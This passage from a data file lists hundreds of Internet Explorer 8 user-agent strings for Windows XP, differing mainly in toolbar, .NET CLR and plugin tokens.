Trident/4.0; GTB5; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.0.3705; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.3.4.23051)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.3; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.3; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.3; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.3; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Sleipnir/2.9.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.3; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.4; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.4; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; chromeframe; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.4506.\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.4; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3; AskTB5.5)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.4)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; AskTB5.6)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.20706; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; eSobiSubscriber 2.0.4.16; InfoPath.3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; Zune 4.7)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 1.1.4322; AskTB5.6)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.5; yie8; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.3.4.23051)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.3.4.23051)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; AskTbF-ET/5.11.3.15590)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;JAJP)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) chromeframe/8.0.552.224\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; AskTbMP3R7/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2; AskTbX-SD/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.3; Windows-Media-Player/10.00.00.3990; msn OptimizedIE8;ENUS)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; InfoPath.1; InfoPath.2; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 30.03.2010; InfoPath.2; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;JAJP)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; Windows-Media-Player/10.00.00.3990; .NET CLR 3.5.30729; AskTbBT5/5.8.0.12304)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; msn OptimizedIE8;ZHTW)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) chromeframe/8.0.552.215\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) chromeframe/8.0.552.224\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; InfoPath.3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; eSobiSubscriber 2.0.4.16; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; AskTbARS/5.8.0.12304)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; KKMAN3.2; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; KKMAN3.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; KKMAN3.2; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; KKMAN3.2; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; AskTB5.6)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; KKman3.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; Zango 10.3.75.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; MEGAUPLOAD 2.0; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; AskTbORJ/5.14.1.20007; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Zune 2.0; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; Zune 3.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET CLR 4.0.20506)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;ENGB)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; FBSMTWB; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; InfoPath.1; .NET CLR 2.0.50727; Dealio Toolbar 3.4; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; InfoPath.1; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 1.1.4322; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; InfoPath.1; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; QQDownload 672)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; chromeframe; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; chromeframe; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; chromeframe; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;DEAT)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; chromeframe; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbSTC/5.13.1.18107)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; FDM)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.2; (R1 1.6); InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.0.3705; InfoPath.1; AskTbORJ/5.15.1.22229)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; AskTbAVR-IDW/5.12.5.17700; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; AskTbNRO/5.14.1.20007)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET4.0C; 